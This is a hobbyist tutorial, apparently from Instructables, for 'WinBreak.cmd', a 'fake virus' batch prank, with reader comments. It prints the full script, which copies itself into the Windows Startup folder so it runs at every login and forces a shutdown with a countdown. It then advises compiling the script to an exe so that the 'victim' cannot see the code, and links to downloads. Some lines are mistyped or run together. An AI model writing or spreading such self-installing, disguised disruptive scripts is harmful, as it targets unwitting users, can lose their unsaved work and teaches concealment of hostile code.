Introduction: WinBreak.cmd

Picture of WinBreak.cmd

You broke windows. Now Windows breaks you.

Step 1: Step 1: the Scripting

Okay, so WinBreak.cmd is a file that will shutdown your computer in 10 seconds. If this file is kept open, it will cancel the shutdown on 7 seconds, concluding that no shutdown happens. Now for the scripting:

Here is the code to copy:

@echo off
setlocal enabledelayedexpansion

set cast=You broke windows, Now windows brakes you.

:: =================================================================

:: (c)2014 Josh O.N.

:: Do Not Distribute; All Rights Reserved

:: You broke windows now windows brakes you - WinBreak.exe FAKE VIRUS

:: =================================================================

set owner=

if "%USERDOMAIN%" == "owner-PC" set owner=.owner-PC

copy %0 "C:\Users\%username%%owner%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" :loop

set repeat=1

set max=44

set cast=You broke windows, Now windows breaks you.

call :write

shutdown -s -c "You Broke Windows. Now Windows Brakes You!" -t 10 -f

timeout /t 7 /NOBREAK >nul

shutdown /a

set repeat=1

set max=45

set cast=Windows changed it's mind. Your off the hook.

call :write

pause

exit

:write

if "%repeat%" == "%max%" endlocal & exit /b

set /a repeat=%repeat%+1

set write=!cast:~0,%repeat%!

cls

echo !write!

ping localhost -n 1 >nul call :write

Now for the explanation:

set owner=
if "%USERDOMAIN%" == "owner-PC" set owner=.owner-PC

copy %0 "C:\Users\%username%%owner%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

This code copies the batch file to startup, making it so that as soon as you log in to the account you are currently on, this batch file runs.

shutdown -s -c "You Broke Windows. Now Windows Brakes You!" -t 10 -f
timeout /t 7 /NOBREAK >nul

shutdown /a

This code shuts down the computer in 10 seconds. If the user has this batch file open for more then 7 seconds, the shutdown stops.


Step 2: Step 2: Encripting Your Batch File.

Picture of Step 2: Encripting Your Batch File.

So now that you have your batch file all neat and tidy, you want to compile it to exe so that the victim can't see the code.

Either 1)

Download a compiler and compile it

Or 2)

Download the compiled batch file from this link:

Which brings us to step 3...

Step 3: Step 3: Extras

Picture of Step 3: Extras

Downloading Links:


Compiled EXE:

http://www.mediafire.com/download/4b17cbb3xq3k173/...

Raw batch file:

http://www.mediafire.com/view/f41trc6xs4740xa/WinB...

Please give me an idea of what other batch file instructable I should make

Comments

FriskyK (author)2015-06-22

I edited it to make it seem like sonic.exe actually hacked into my pc, lolz!

SirJosh3917 (author)FriskyK2016-01-03

Lol, nice.

settingsdestroyer (author)2014-11-28

so if you get into your account and don't close it you aren't logged out?

Correct. Once you log in, the program will run. Once it finishes typing what it wants to type, it will shut down your computer in 10 seconds. If you leave the program open for 7 seconds, it will undo the shutdown, so therefore: you are not shutdown.

About This Instructable

2,520views

29favorites

License:

More by SirJosh3917:Mining World - Batch GameSDraw - Batch .EXE How to Hack FFLocker ( FFMurderer )
Add instructable to: